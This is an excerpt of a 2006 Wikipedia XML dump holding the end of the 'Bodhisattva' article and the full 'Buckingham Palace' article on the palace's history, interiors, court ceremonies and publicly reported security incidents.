Some, mainly American convert Buddhists including [[Jack Kerouac]], are recently incorporating [[Jesus]] into Buddhism by claiming he is a bodhisattva.

===Partial list of bodhisattvas===
* [[Akasagarbha]] (Ch. 虛空藏 ''Xu Kong Zang''; Jp. ''Kokūzō''; Vi. ''Hư Không Tạng'')
* [[Avalokitesvara|Avalokiteśvara]] (Ch. 觀世音 ''Guanshiyin''; Jp. ''Kanzeon''; Tib. ''Chenrezig''; Vi. ''Quán Thế Âm'')
* [[Ksitigarbha|Kṣitigarbha]] (Ch. 地藏 ''Dì cáng''; Jp. ''Jizō''; Vi. ''Ðịa Tạng'')
* [[Mahasthamaprapta]] (Ch. 大勢至 ''Da Shì Zhì''; Jp. ''Seishi''; Vi, ''Ðại Thế Chí'')
* [[Maitreya]] (Ch. 彌勒 ''Mi Le''; Jp. ''Miroku''; Vi. ''Di-lặc'')
* [[Manjusri|Mañjuśri]] (Ch. 文殊師利 ''Wen Shu''; Jp. ''Monju''; Tib. ''Jampal Yang''; Vi. ''Văn-thù-sư-lợi'')
* [[Padmasambhava]] (Ch. 蓮華生上師 ''Lianhuasheng Shang Shi''; Tib. ''Padma Jungne'' or ''Guru Rinpoche''; Vi. ''Liên Hoa Sinh'')
* [[Samantabhadra]] (Ch. 普賢 ''Pu Xian''; Jp. ''Fugen''; Tib. ''Kuntu Zangpo''; Vi. ''Phổ Hiền'')
* [[Vajrapani]] (Ch. 金剛手 ''Jin Gang Shou''; Jp. ''Shukongojin''; Tib. ''Channa Dorje''; Vi. ''Kim Cương Thủ'')

==Bodhisattva in popular culture==
*The band [[Steely Dan]] has a song entitled Bodhisattva on their [[1973 in music|1973]] album [[Countdown to Ecstasy]].
*The rap group [[The Beastie Boys]] has a song called Bodhisattva Vow on their album [[Ill Communication]].
*Patrick Swayze's character in Point Break is named Bodhisattva

==References==
* Gampopa; The Jewel Ornament of Liberation; Snow Lion Publications; ISBN 1-55939-092-1
* White, Kenneth R.; The Role of Bodhicitta in Buddhist Enlightenment: Including a Translation into English of Bodhicitta-sastra, Benkemmitsu-nikyoron, and Sammaya-kaijo; The Edwin Mellen Press, 2005; ISBN 0-88946-050-7

==External links==
{{commonscat|Bodhisattvas}}
* [http://www.katinkahesselink.net/tibet/bodhisatva.htm Various versions of the Bodhisattva Vow]
* [http://www.bswa.org Hundreds of free buddhist talks and huge forum.]
* [http://www.buddhism.kalachakranet.org/resources/bodhisattva_vows.html The Bodhisattva Vows as practiced in Tibetan Buddhism]
* [http://www.exoticindiaart.com/article/bodhisattva The Bodhisattva Ideal - Buddhism and the Aesthetics of Selflessness]
* [http://www.borobudur.tv/mendut_4.htm The group of Eight Great Bodhisattvas at Candi Mendut]
* [http://www.maniacworld.com/Chinese_Dance.html Thousand-hand Bodhisattva Dance]
&lt;br&gt;
{{buddhism2}}

[[Category:Buddhist terms]]
[[Category:Bodhisattvas|*]]

[[da:Bodhisattva]]
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[[ja:菩薩]]
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[[ru:Бодхисаттва]]
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[[zh:菩萨]]</text>
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  </page>
  <page>
    <title>Buckingham Palace</title>
    <id>3969</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41887919</id>
      <timestamp>2006-03-02T10:57:25Z</timestamp>
      <contributor>
        <username>El C</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/84.178.253.206|84.178.253.206]] ([[User talk:84.178.253.206|talk]]) to last version by Antandrus</comment>
      <text xml:space="preserve">{{featured article}}
[[Image:Buckingham Palace, London, England, 24Jan04.jpg|350px|thumb|Buckingham Palace and the [[Victoria Memorial (London)|Victoria Memorial]]. This principal [[Facade (Architecture)|façade]] of 1850 by [[Edward Blore]] was redesigned in 1913 by Sir [[Aston Webb]].]]

'''Buckingham Palace''' is the official [[London]] residence of the [[British monarch]] (or [[sovereign]]), and the largest &quot;working&quot; royal palace remaining in the world. The expression  &quot;Buckingham Palace&quot; or simply &quot;The Palace&quot; has become a common way of referring to the source of press statements coming from parts of the [[British Royal Family]] (see [[Metonymy]]).  In addition to being the London home of [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], Buckingham Palace is a setting for state occasions, royal entertaining and base for all officially visiting heads of state, and is a major tourist attraction.  It has been a rallying point for the British at times of national rejoicing and crisis. 

The palace, originally known as Buckingham House, was a large [[townhouse]] built for the [[John Sheffield, 1st Duke of Buckingham and Normanby|Duke of Buckingham]] in 1703 and acquired by [[George III of the United Kingdom|King George III]] in 1762 as a private [[residence]].  It was enlarged over the next 75 years, principally by [[architect]]s [[John Nash (architect)|John Nash]] and [[Edward Blore]], forming three wings around a central courtyard.  Buckingham Palace finally became the official royal palace of the British monarch on the accession of [[Victoria of the United Kingdom|Queen Victoria]] in 1837.   The last major structural additions were made in Victoria's time, with the addition of the large wing facing east towards [[The Mall (London)|The Mall]], and the removal of the former state entrance, [[Marble Arch]], to its present position near [[Speakers' Corner]] in [[Hyde Park, London|Hyde Park]].  The east front was refaced in [[Portland stone]] in 1913 as a backdrop to the [[Victoria Memorial (London)|Victoria Memorial]], creating the present-day 'public face' of Buckingham Palace, including the famous balcony.

The original Georgian interior designs included widespread use of brightly coloured [[scagliola]] and blue and pink [[Lapis lazuli|lapis]], on the advice of Sir [[Charles Long]].  [[Edward VII of the United Kingdom|King Edward VII]] oversaw a heavy redecoration in a [[Belle epoque]] cream and gold colour scheme.  Many smaller reception rooms are furnished in the [[China|Chinese]] [[regency]] style with furniture and fittings brought from the [[Royal Pavilion]] at [[Brighton]] and from [[Carlton House]] following the death of [[George IV of the United Kingdom|King George IV]].  The [[Buckingham Palace Gardens]] are the largest private gardens in London, originally landscaped by [[Capability Brown]], but redesigned by [[William Townsend Ailton]] of [[Royal Botanic Gardens, Kew|Kew Gardens]] and John Nash.  The man-made lake was completed in 1828 and is supplied with water from the [[Serpentine (lake)|Serpentine]], a lake in [[Hyde Park, London|Hyde Park]].

==History==
===Early history===
[[Image:Buckingham House 1710.jpeg|thumb|left|250px|Buckingham House circa 1710 as redesigned by [[William Winde]] for the [[John Sheffield, 1st Duke of Buckingham and Normanby|Duke of Buckingham and Normanby]]. This [[facade]] is today the core of the state entrance on the west side of the quadrangle, with the Green Drawing Room above]] 

The first house recorded on the site was known as Goring House, built by the [[George Goring, 1st Earl of Norwich|Lord Goring]] circa 1633.  However, the house which forms the centre of the present palace was built for the [[John Sheffield, 1st Duke of Buckingham and Normanby|Duke of Buckingham and Normanby]] in 1703. Buckingham had the house rebuilt by the architect [[William Winde]].  The style chosen was of a large, three-floored central block with two smaller flanking service wings. 

Buckingham's house was eventually sold by his descendant, Sir Charles Sheffield, in 1762 to King George III. The house was originally intended as a private retreat for the Royal Family, and in particular [[Charlotte of Mecklenburg-Strelitz|Queen Charlotte]], George III's consort, rather than as an official royal palace.  The official and ceremonial royal residence remained at [[St. James's Palace]]; indeed, today foreign [[ambassador]]s are still accredited to the [[Court of St. James's]], even though it is at Buckingham Palace they present their credentials and staff to the Queen on their appointment.

===House to palace===
[[Image:George IV of the United Kingdom.jpg|right|thumb|180px|[[George IV of the United Kingdom|George IV]] transformed Buckingham House to a palace]] 

[[Queen Charlotte]] died in 1818 and her mentally unstable husband [[George III of the United Kingdom|George III]] in 1820.  Immediately, their son, the [[spendthrift]] [[George IV of the United Kingdom|King George IV]], decided to enlarge Buckingham House to use in conjunction with St. James's Palace as had his father, but by 1826 he had decided to convert the house to a fully equipped royal palace. He commissioned [[John Nash (architect)|John Nash]] to create this vision. The palace which arose framed three sides of a large quadrangle, with the former Buckingham House at its centre.  The new work was faced in [[Bath]] stone, with exquisite detailing in the [[France|French]] [[neoclassicism|neoclassical]] style.  This is the palace much as it is today, but without the great east front, facing [[The Mall (London)|The Mall]], which now encloses the quadrangle.  On the future site of the present east front, between the two projecting wings, was a colossal triumphal arch of [[Racaccione]] [[marble]], modelled on the [[Arch of Constantine]] in [[Rome]]. This arch, which had cost [[pound sterling|£]]34,450 to erect, served as the state entrance. George IV had intended it to be crowned by a [[bronze]] equestrian statue of himself, but he died before its completion, and when [[Parliament]] reluctantly paid the bill for it, they decided to erect it in [[Trafalgar Square]].  The interiors of the palace were to be of unparalleled splendour.  George IV was advised on the interior design by Sir [[Charles Long]], who advocated the widespread use of brightly coloured [[scagliola]] and blue and pink [[Lapis lazuli|lapis]], with sculptured plaster panels set in the ceilings. George IV died in 1830, and the colourful and heavily gilded present state and semi-state rooms were not completed until the reign of [[William IV of the United Kingdom|King William IV]], a man of simpler tastes, and his wife, Queen [[Adelaide of Saxe-Meiningen|Adelaide]]. 

[[Image:Prince_William,_Duke_of_Clarence_and_St_Andrews_-_Project_Gutenberg_eText_13899.png|left|thumb|180px|[[William IV of the United Kingdom|King William IV's]] guidance and practicality ensured the final completion of the palace. While his and [[Adelaide of Saxe-Meiningen|Queen Adelaide]]'s gilded [[monogram]] decorates many rooms, they never lived there]] 

By the time of the death of George IV, the escalating cost of the still unfinished palace was causing concern in both Parliament and the press.  William IV dismissed Nash as architect and employed [[Edward Blore]], who suited admirably the more restrained tastes of the new king. A less idealistic but more businesslike architect than Nash, he retained Nash's completed work and completed the palace in a similar, if more solid and less picturesque, vein. Though the new King and Queen held receptions and courts in the state rooms, they never lived in the palace, preferring to remain at [[Clarence House]], the more modest London [[mansion]] they had commissioned to be built before their succession.  The final cost to the nation of rebuilding Buckingham Palace was in excess of £719,000.  It is interesting to note that when the [[Palace of Westminster|Houses of Parliament]] burnt down in 1834, the King offered the incomplete palace to the nation as a replacement seat of government, an offer which suggests the new King was rather less taken with the ornate palace than was his late brother.  The offer was declined and the old Palace of Westminster rebuilt.

Many of the smaller reception rooms were furnished at this time, as they still are, in the [[China|Chinese]] [[regency]] style, as many of the fireplaces, decorations, and furniture were brought from the [[Royal Pavilion]] at [[Brighton]] and from [[Carlton House]], the palaces of George IV, following his death.

===Queen Victoria===
[[Image:queen_victoria.jpg|thumb|right|150px|[[Victoria of the United Kingdom|Queen Victoria]], the first sovereign to reside at Buckingham Palace, moved into the newly completed palace at the age of 18]] 

Buckingham Palace finally became the principal Royal residence in 1837 on the accession of [[Victoria of the United Kingdom|Queen Victoria]].  While the state rooms were a riot of gilt and colour, the necessities of the new palace were somewhat less luxurious. It was reported the chimneys smoked so much that the fires had to be allowed to die, and consequently the court shivered in icy magnificence.  Ventilation was so bad that the interior smelled, and when a decision was taken to install gas lamps there was a serious worry about the build up of gas on the lower floors.  It was also said that the staff were lax and lazy and the palace was dirty.  Following the Queen's marriage to [[Prince Albert of Saxe-Coburg-Gotha|Prince Albert]] in 1840, her husband concerned himself with a reorganization of the household offices and staff, and the design faults of the palace. The problems were attended to and the builders finally left the palace in 1840. 
[[Image:Buckingham Palace ILN 1842.jpg|thumb|left|250px|The Palace in 1842, before [[Edward Blore|Blore]]'s block of 1847 enclosed the quadrangle. [[Marble Arch]] served as the principal entrance to the palace [[precinct]]s.]]
The large wing facing east towards [[The Mall (London)|The Mall]] (today the 'public face' of Buckingham Palace) was constructed after the marriage of Queen Victoria.  By 1847, the couple had found the palace too small for court life and their growing family, and as a result the new wing, designed by William IV's architect Edward Blore, was built, enclosing the quadrangle which is the centre of the palace. This new wing contains the balcony from which the [[Royal Family]] acknowledge the crowds on momentous occasions. The [[ballroom]] wing and a further suite of state rooms were also built in this period, designed by Nash's student Sir [[James Pennethorne]].   

Before the death of Prince Albert, Queen Victoria was known to love music and dancing, and the great musicians of the day were commanded to play at Buckingham Palace.  [[Felix Mendelssohn]] is known to have played there on three occasions.  [[Johann Strauss II]] and his [[orchestra]] played there when in England. Strauss' 'Alice Polka' was first performed at the palace in 1849 in honour of the Queen's daughter [[Princess Alice of the United Kingdom|Princess Alice]].  During this era Buckingham Palace was frequently the scene of lavish costume balls, in addition to the routine royal ceremonies, investitures and presentations.

Queen Victoria had [[Marble Arch]], the former state entrance to the palace, moved to its present position near [[Speakers' Corner]] in [[Hyde Park, London|Hyde Park]].  Following the death of Prince Albert in 1861, the Queen withdrew from public life and left Buckingham Palace to live at [[Windsor Castle]], [[Balmoral Castle]], and [[Osborne House]].  For many years the palace was seldom used, and even neglected.  Eventually mounting negative public opinion forced the widowed queen to return to London, though even then she preferred to live elsewhere whenever possible.  Court functions continued to be held at Windsor Castle rather than at the palace, presided over by the sombre Queen habitually dressed in mourning black.

===The 20th century===
[[Image:Buckingham palace 1909.jpg|280px|thumb|Buckingham Palace panorama, 1909]]

In 1901 the accession of [[King Edward VII of the United Kingdom|Edward VII]] saw new life breathed into the palace. The new King and his wife [[Alexandra of Denmark|Queen Alexandra]] had always been at the forefront of London high society, and their friends, known as the [[Marlborough House]] set, were considered to be the most eminent and fashionable of the age.  Buckingham Palace&amp;#8212;the Ballroom, Grand Entrance, Marble Hall, Grand Staircase, vestibules and galleries redecorated in the [[Belle epoque]] cream and gold colour scheme they retain today&amp;#8212;once again became the focal point of the [[British Empire]] and a setting for entertaining on a majestic scale.  Many people feel King Edward's heavy redecoration of the palace does not complement Nash's original work.{{ref|redecorationEdwardVII}} However, it has been allowed to remain for one hundred years.

[[Image:1910 Buckingham Palace.gif|thumb|right|300px|The east front of Buckingham Palace was completed in 1850. Seen here in 1910, it was remodelled to its present form in 1913]]

The last major building work took place during the reign of [[George V of the United Kingdom|King George V]] when, in [[1913]], [[Aston Webb|Sir Aston Webb]] redesigned the famous east, principal, 1850 facade by Blore to resemble in part [[Giacomo Leoni]]'s [[Lyme Park]] in [[Cheshire]]. This new, refaced principal facade (of [[Portland stone]]) was designed to be the backdrop to the [[Victoria Memorial (London)|Victoria Memorial]], a large memorial statue of Queen Victoria, placed outside the main gates.  George V, who had succeeded Edward VII in 1910, had a more serious personality than his father, which was reflected in life at the palace: greater emphasis was now placed on official entertaining and royal duties than on lavish parties and having fun.  George V's wife [[Mary of Teck|Queen Mary]] was a [[connoisseur]] of the arts, and took a keen interest in the Royal collection of furniture and art, both restoring and adding to it.  Queen Mary also had many new fixtures and fittings installed, such as the pair of marble [[Empire style|Empire-style]] chimneypieces by [[Benjamin Vulliamy]], dating from 1810, which the Queen had installed in the ground floor Bow Room, the huge low room at the centre of the garden facade.  Queen Mary was also responsible for the decoration of the Blue Drawing Room. This room, 69 [[foot (unit of length)|feet]]  (21 [[metre|m]]) long, previously known as the South Drawing Room, has one of Nash's finest ceilings, coffered with huge gilt [[console]] brackets, and is referred to by the author and historian [[Olwen Hedley]] in his book ''Buckingham Palace'' as the most beautiful in the palace, grander and more lavish than either the [[Throne room|Throne Room]] or the Ball Room, which was built to take over the Blue Drawing Room's original function.

The last major extension to the palace was in 1850.  In 1999 it was stated {{Ref|rooms}} the palace contained 19 state rooms, 52 principal bedrooms, 188 staff bedrooms, 92 offices, and 78 bathrooms. While this may seem large, it is small compared with the [[Tsar]]'s palaces in [[Saint Petersburg|St. Petersburg]] and at [[Tsarskoe Selo]], the [[Papal Palace]] in [[Rome]], the [[Royal Palace of Madrid]], or indeed the former [[Palace of Whitehall]]. The relatively smallness of the palace may be best appreciated from within, looking out over the inner courtyard. A minor extension was made in 1938, in which the north-west pavilion, designed by Nash, was converted into a swimming pool.

===World War===
During [[World War I]] the Palace, then the home of King George V and Queen Mary, escaped unscathed.  Its more valuable contents were evacuated to Windsor but the Royal family remained in situ.  The largest change to court life at this time was that the Government persuaded the King to ostentatiously and publicly lock the wine cellars and refrain from alcohol for the duration of the war, to set a good example to the supposedly inebriated lower classes.  The lower classes continued to imbibe and the King was left reputedly furious at his enforced abstinence.  Edward VIII later told a biographer that his father had a furtive glass of port each evening, while the Queen secretly laced her fruit cup with [[champagne (beverage)|champagne]]. The King's children were photographed at this time serving tea to wounded officers in the adjacent Royal Mews.

During [[World War II]] the Palace fared worse: it was bombed no less than seven times, and was a deliberate target, as it was thought by the [[Nazi]]s that the destruction of Buckingham Palace would demoralise the nation.  One bomb fell in the palace quadrangle while King George VI and Queen Elizabeth were in residence, but while many windows were blown in, no serious damage was reported.  However, war time coverage of such incidents was severely restricted. The most serious and publicised bombing was the destruction of the Palace chapel in 1940: coverage of this event was played in cinemas all over England to show the common suffering of rich and poor.  The King and Queen were filmed inspecting their bombed home, the smiling Queen immaculate in a hat and matching coat.  It was at this time the Queen made her famous quote: &quot;I'm glad we have been bombed.  Now I can look the East End in the face&quot;.  It has only recently been reported that on some trips, prior to this event, to inspect the London bomb damage, the Royal family were booed rather than cheered as was reported at the time, hence the bombing of the palace was a [[propaganda]] coup for the British establishment. It has however been observed that it was the Minister accompanying the Royal family who was the subject of public hostility rather than the King and Queen themselves.  As [[The Sunday Graphic]] dutifully reported:-
[[Image:British_VE_Day.jpg|thumb|300px|The [[Royal Family]], and [[Winston Churchill]], on the balcony of the Palace on [[VE Day]].]]
::''By the Editor: The King and Queen have endured the ordeal which has come to their subjects. For the second time a German bomber has tried to bring death and destruction to the home of Their Majesties&amp;#8230;&amp;#8230;..When this war is over the common danger which King George and Queen Elizabeth have shared with their people will be a cherished memory and an inspiration through the years&quot;.'' 

On [[September 15]], 1940  an RAF pilot, [[Ray Holmes]], {{fn|(2)}}  rammed a German plane attempting to bomb the palace. Holmes had run out of ammunition and made the a quick choice to ram it.  Both planes crashed and their pilots survived. This incident was captured on film. The plane's engine was later exhibited at the Imperial War Museum in London.  Following the war the British pilot became a [[Queen's Messenger|King's Messenger]].  He died at the age of 90 in 2005.

[[Eleanor Roosevelt]] was accorded the status of visiting head of state during her World War II visit. The British war-time press, anxious to show the monarchs sharing the hardships of their subjects, announced that as the contents of the palace had been evacuated to the country for the duration of the war, as an honoured guest Mrs. Roosevelt was &quot;billeted&quot; in the only comfortable room remaining, Queen Elizabeth's own bedroom. However, it is possible that this story is apocryphal: it is now known that for the duration of World War II, the Royal Family spent many nights sleeping at Windsor Castle, for their own safety. It is unlikely that they would have left Mrs Roosevelt in the empty palace to face the nightly blitz alone.

On [[VE Day]] ([[May 8]], [[1945]]), the Palace was the centre of British celebrations, with the King, Queen and the Princess Elizabeth, the future Queen, and [[Princess Margaret|Princess Margaret]] appearing on the balcony, with the palace's blacked-out windows behind them, to the cheers from a vast crowd in [[The Mall (London)|the Mall]].

==Interior==
[[Image:Buckthroneroom.jpg|thumb|left|200px|The [[throne room]].]]
The principal rooms of the Palace are contained on the [[piano nobile]] behind the west-facing garden facade at the rear of the Palace. The centre of this ornate suite of State Rooms is the Music Room, its large bow the dominant feature of the facade. Flanking the Music Room are the Blue and the White [[Drawing room]]s. At the centre of the suite, serving as a corridor to link the state rooms, is the Picture Gallery, which is top lit and 55 yards (50m) long. The Gallery is hung with works by [[Rembrandt Harmenszoon van Rijn|Rembrandt]], [[Anthony van Dyck|van Dyck]], [[Peter Paul Rubens|Rubens]], and [[Johannes Vermeer|Vermeer]], among many others. Other rooms leading from the Picture Gallery are the [[Throne room|Throne Room]] and the Green Drawing Room. The Green Drawing room serves as a huge anteroom to the Throne Room, and is part of the ceremonial route to the Throne from the Guard Room at the top of the Grand Staircase.  The Guard Room contains a white marble statue of Prince Albert, in Roman costume set in a [[Tribune (architecture)|tribune]] lined with tapestries.  These very formal rooms are used only for ceremonial and official entertaining. 
[[Image:Plan of Buckingham palace.gif|thumb|right|300px|[[Piano nobile]] of Buckingham Palace. A: State Dining Room; B:Blue Drawing Room; C:Music Room; D:White Drawing Room; E:Royal Closet; F:Throne Room; G:Green drawing Room; H:Cross Gallery; J:Ball Room;  K:East Gallery; L:Yellow Drawing Room; M:Centre/Balcony Room; N:Chinese Luncheon Room; O:Principal Corridor; P:Private Apartments; Q:Service Areas; W:The Grand staircase. ''On the ground floor'':  R:Ambassador's Entrance; T: Grand Entrance.  The areas defined by shaded walls represent lower minor wings. '''Note''': This is an unscaled sketch plan for reference only.  Proportions of some rooms may slightly differ in reality.]]
Directly underneath the State Apartments is a suite of slightly less grand rooms known as the semi-state apartments. Opening from the marble hall, these rooms are used for less-formal entertaining, such as luncheon parties and private audiences. Some of the rooms are named and decorated for particular visitors, such as the '1844 Room', which was decorated in that year for the State visit of [[Tsar|Emperor]] [[Nicholas I of Russia|Nicholas I]] of [[Russia]]. At the centre of this suite is the Bow Room, through which thousands of guests pass annually to the Queen's Garden Parties in the Gardens beyond. The Queen uses privately a smaller suite of rooms in the North wing.

Between 1847 and 1850, when Blore was building the new east wing, the Brighton Pavilion was once again plundered of its fittings. As a result many of the rooms in the new wing have a distinctly oriental atmosphere. The red and blue Chinese Luncheon Room is made up from parts of the Brighton banqueting and music rooms, but has a chimney piece, also from Brighton, in design more Indian than Chinese.  The Yellow Drawing Room has [[18th-century]] wall paper, which was supplied in 1817 for the Brighton Saloon, and the chimney piece in this room is a European vision of what the Chinese equivalent would look like, complete with nodding [[mandarin (bureaucrat)|mandarins]] in [[niche]]s and fearsome winged [[Chinese dragon|dragons]].  [[Image:Buckingham Palace Prince Albert's music room The Graphic 1887.jpg|thumb|right|250px|Prince Albert's music room, one of the smaller less formal rooms at the palace, in 1887.]]At the centre of this wing is the famous balcony, with behind its glass doors the Centre Room.  This is a Chinese-style saloon enhanced by Queen Mary in the late 1920s, although the [[lacquer]] doors were brought from Brighton in 1873.  Running the length of the piano nobile of the east wing is an immense gallery, modestly known as the Principal Corridor. It has mirrored doors, and mirrored cross walls reflecting [[porcelain]] pagodas and other oriental furniture from Brighton.  The Chinese Luncheon Room and Yellow Drawing Room are situated at each end of this gallery, with the Centre Room obviously placed in the centre.

Visiting [[Head of state|heads of state]] today, when staying at the palace, occupy a suite of rooms known as the [[Belgian]] suite, which is on the ground floor of the North-facing garden front.  These rooms, with corridors enhanced by [[saucer dome]]s, were first decorated for Prince Albert's uncle [[Léopold I of Belgium|Léopold]], the first King of the Belgians. King [[Edward VIII of the United Kingdom|Edward VIII]] lived in these rooms during his short reign.

==Court ceremonies==
[[Image:Louis Haghe The New Ballroom 1856.jpg|thumb|275px|The State Ballroom is the largest room at Buckingham Palace. It was added by Queen Victoria and is used for ceremonies such as investitures and state banquets. This picture dates from 1856. The polychrome colour scheme has been replaced by mainly white decoration with gold details and red upholstery.]]
During the current reign court [[ceremony]] has undergone a radical change, and entry to the palace is no longer the prerogative of just the upper class. 

Formal [[court dress]] has now been abolished. In previous reigns, men not wearing military [[uniform]] wore knee [[breeches]] of an 18th-century design. In the evenings, women wore dresses with obligatory trains, and [[tiara]]s or feathers (or even both) in their hair. So rigid was the palace dress code that after [[World War I]], when Queen Mary wished to follow [[fashion]] by raising her skirts a few inches from the ground, she asked a Lady-in-Waiting to shorten her skirt first to gauge the King's reaction. King George V was horrified and Queen Mary's hemline remained unfashionably low. [[George VI of the United Kingdom|King George VI]] and Queen Elizabeth were slightly more fashionable, and daytime skirts were allowed to rise.

In 1924 [[Labour Party (UK)|Labour]] [[Prime Minister]] [[Ramsay MacDonald]] was the first man to be received by a monarch inside the palace wearing a lounge [[suit]]; however, this was a one-off concession. Prescribed evening court dress remained obligatory until World War II.  

Today, most men invited to Buckingham Palace in the daytime choose to wear service uniform or morning coats, and in the evening, depending on the formality of the occasion, [[black tie]] or [[white tie]]. If the occasion is 'white tie' then women, if they possess one, wear a tiara, although no dress code is officially demanded.

One of the first major changes was in 1958 when the Queen abolished the presentation parties for [[debutante]]s.  These court presentations of [[aristocrat]]ic girls to the monarch took place in the [[Throne room|Throne Room]]. Debutantes wore full court dress, with three tall [[ostrich]] [[feather]]s held precariously in their hair. They entered the Throne Room, curtsied, performed a choreographed backwards walk and a further curtsey, while perilously manoeuvring a dress train of a prescribed length.

The Queen felt this ceremony, which corresponded to the &quot;[[Drawing room|court drawing rooms]]&quot; of earlier reigns, to be elitist and antiquated, and replaced the presentations with large and frequent palace garden parties, to which a more varied cross section of British society is invited. The late [[Princess Margaret, Countess of Snowdon|Princess Margaret]] is reputed to have said of the debutante presentations: &quot;We had to put a stop to it, every tart in London was getting in&quot; (Blaikie). The Throne Room today is used for the reception of formal addresses such as that given to the Queen on her jubilees.  It is here on the throne [[dais]] that royal wedding photographs are taken.

[[Image:ac.queenpms.jpg|thumb|275px|right|[[Elizabeth II of the United Kingdom|The Queen]] photographed with [[Commonwealth of Nations|Commonwealth]] [[Prime Minister]]s in the White Drawing Room at Buckingham Palace, in the 1950s. To her right, [[Winston Churchill|Sir Winston Churchill]] and [[Sidney Holland]] of [[New Zealand]]; to her left, [[Robert Menzies]] of [[Australia]] and [[Louis St. Laurent]] of Canada]]

[[Investiture]]s, which include the conferring of [[knighthood]]s by dubbing with a sword, and other awards take place in the palace's Victorian Ballroom, built in 1854.  At 123[[foot (unit of length)|ft]] by 60ft (37 m by 20 m) , this is the largest room in the palace.  It has replaced the [[Throne room|Throne Room]] in importance and use.  During investitures the Queen does not sit on the throne, but stands on the throne dais beneath a giant, domed [[velvet]] canopy, known as a shamiana or a [[baldachin]], used at the coronation [[Delhi Durbar|Durbar]] in [[Delhi]] in 1911.  A [[military]] band plays in the musicians' gallery, as the recipients of awards approach the Queen and receive their [[honour]]s, watched by their families and friends. [[The Beatles]] were among the first non-establishment [[artist]]s to be awarded honours at the palace. 

State [[banquet]]s also take place in the Ballroom. These formal dinners take place on the first evening of a state visit by a visiting Head of State.  On these occasions, often over 150 guests in formal &quot;white tie and decorations&quot; including tiaras for women, dine off gold plate.  The largest and most formal reception at Buckingham Palace takes place every November, when the Queen entertains members of the foreign [[diplomat|diplomatic]] corps resident in London. On this occasion all the state rooms are in use, as the entire Royal Family proceed through them, beginning their procession through the great north doors of the Picture Gallery. As Nash had envisaged, all the large, double-mirrored doors stand open, reflecting the numerous crystal chandeliers and sconces, causing a deliberate optical illusion of space and light.
[[Image:Buckingham Palace Grand Staircase The Graphic 1870.jpg|thumb|250px|This 1870 drawing shows guests ascending the Grand Staircase.]]
Smaller ceremonies such as the reception of new ambassadors take place in the '1844 Room'. Here too the Queen holds small lunch parties, and often meetings of the [[Privy Council of the United Kingdom|Privy Council]].  Larger lunch parties often take place in the curved and [[dome]]d Music Room, or the State Dining Room.  On all formal occasions the ceremonies are attended by the [[Yeomen of the Guard]] in their anachronistic uniforms, and other officers of the court such as the [[Lord Chamberlain]]. 

Since the bombing of the palace chapel in World War II, royal christenings have sometimes taken place in the Music Room. The Queen's first three children were all baptised here, in a special gold font.  [[Prince William of Wales|Prince William]] was christened in the Music room; however, his brother, Prince Harry, was christened at [[St George's Chapel, Windsor]].

The largest functions of the year are the garden parties, when up to 9,000 people attend, taking tea and sandwiches in a series of marquees. The guests first assemble, then as a military band plays the [[National Anthem]], the Queen emerges from the Bow Room, and slowly walks through the guests, greeting those previously selected for the honour, to her own more private tea tent. If the guests at these functions do not actually have the opportunity to meet the Queen, they at least have the consolation of being able to admire the gardens.

==Security==
[[Image:buck.palace.soldiers.arp.jpg|thumb|right|250px|[[Foot Guards|Guards]] march out of Buckingham Palace at the end of the daily [[Changing of the Guard]] ceremony]]

Royal security is high, but is better known for a series of high-profile intrusions, both at the Palace and elsewhere. No modern, fully detailed plan of the palace is available as a security measure. The famous armed  [[sentry|sentries]] on [[Queen's Guard|guard]] at the front of the palace are commonly thought to be ceremonial, but they have always had a security role. The palace also contains its own [[police station]], and the Royal Family have their own protection officers at all times.  Other security measures are not revealed. The [[Foot Guards]] [[battalion]] at [[Wellington Barracks, London|Wellington Barracks]] is only 300 yards (275 m) away. The units at [[Chelsea Barracks]] ([[Foot Guards]]) and [[Hyde Park Barracks, London|Hyde Park Barracks]] ([[Household Cavalry]]) are both three-quarters of a mile away. 

In the [[World War II|Second World War]] a bomb shelter was improvised in a housemaids' room, and more recently a dedicated bunker was reportedly constructed in response to heightened security concerns due to the threat of extremist Islamic terrorism. Rumour maintained that a link existed to the [[Victoria Line]] of the London Underground, which passed beneath the Palace, thus allowing the evacuation of the Royal Family in the event of nuclear attack. However this is unsubstantiated and is unlikely to be true.

The most notorious incident was the [[Michael Fagan incident]], he gained access to the Queen's bedroom while she was asleep in 1982.  In 2003 a reporter for the ''[[Daily Mirror]]'', [[Ryan Parry]], spent two months working as a [[footman]] inside Buckingham Palace.  One of the references he supplied was fake, and it appears this was not checked properly.   The incident coincided with a visit to the UK by [[George W. Bush]], who stayed at the Palace, and photographs of Bush's bedroom, along with the Queen's breakfast table and the [[Andrew, Duke of York|Duke of York]]'s room.  In themselves the photographs revealed nothing more interesting than that the Queen's two younger sons had a conventional, almost bourgeois, taste in bedroom furnishings, and that the Queen kept her breakfast muesli in a [[tupperware]] container.  The Palace took the ''Mirror'' to court for invasion of privacy, and the newspaper handed over its materials, and paid some of the Queen's costs in an [[out-of-court settlement]] in November 2003.

Most lapses of security have been outside the palace: In 1974, [[Ian Ball]] attempted to kidnap [[Anne, Princess Royal|the Princess Royal]] at gunpoint in [[the Mall (London)|the Mall]] while she was returning to the palace, wounding several people in the process.  In 1981, three [[Germany|German]] tourists camped in the [[Buckingham Palace Gardens|gardens of the palace]], after climbing over the heavily barbwired wall, purportedly believing the area to be [[Hyde Park]]. In 1993, anti-nuclear protestors also scaled the palace walls and held a sit down protest on the palace lawn. Most notably, in 1994, a naked [[paraglider]] landed on the roof of the building.  In 1995 a student, [[John Gillard]], was able to deliberately ram the gates of the palace, knocking one of the great [[wrought iron]] gates weighing 3,300 pounds (1.5 tonnes) off its hinges. In 1997, an absconded mentally ill patient was found wandering the palace grounds, which ordered another security review.

Most recently, in [[2004]], [[Fathers 4 Justice Buckingham Palace protest#Buckingham Palace protest|a protester]] advocating the legal rights of [[Fathers 4 Justice|single fathers]], received wide press coverage when he climbed onto a ledge near the ceremonial balcony on the east front dressed as [[Batman]].  In the same incident, a second protester, dressed as [[Robin]], was apprehended before he managed to climb onto the building; [http://news.bbc.co.uk/1/hi/uk/4035987.stm he returned] the following November dressed as [[Father Christmas]] to chain himself to a lamp on one of the main gateposts.

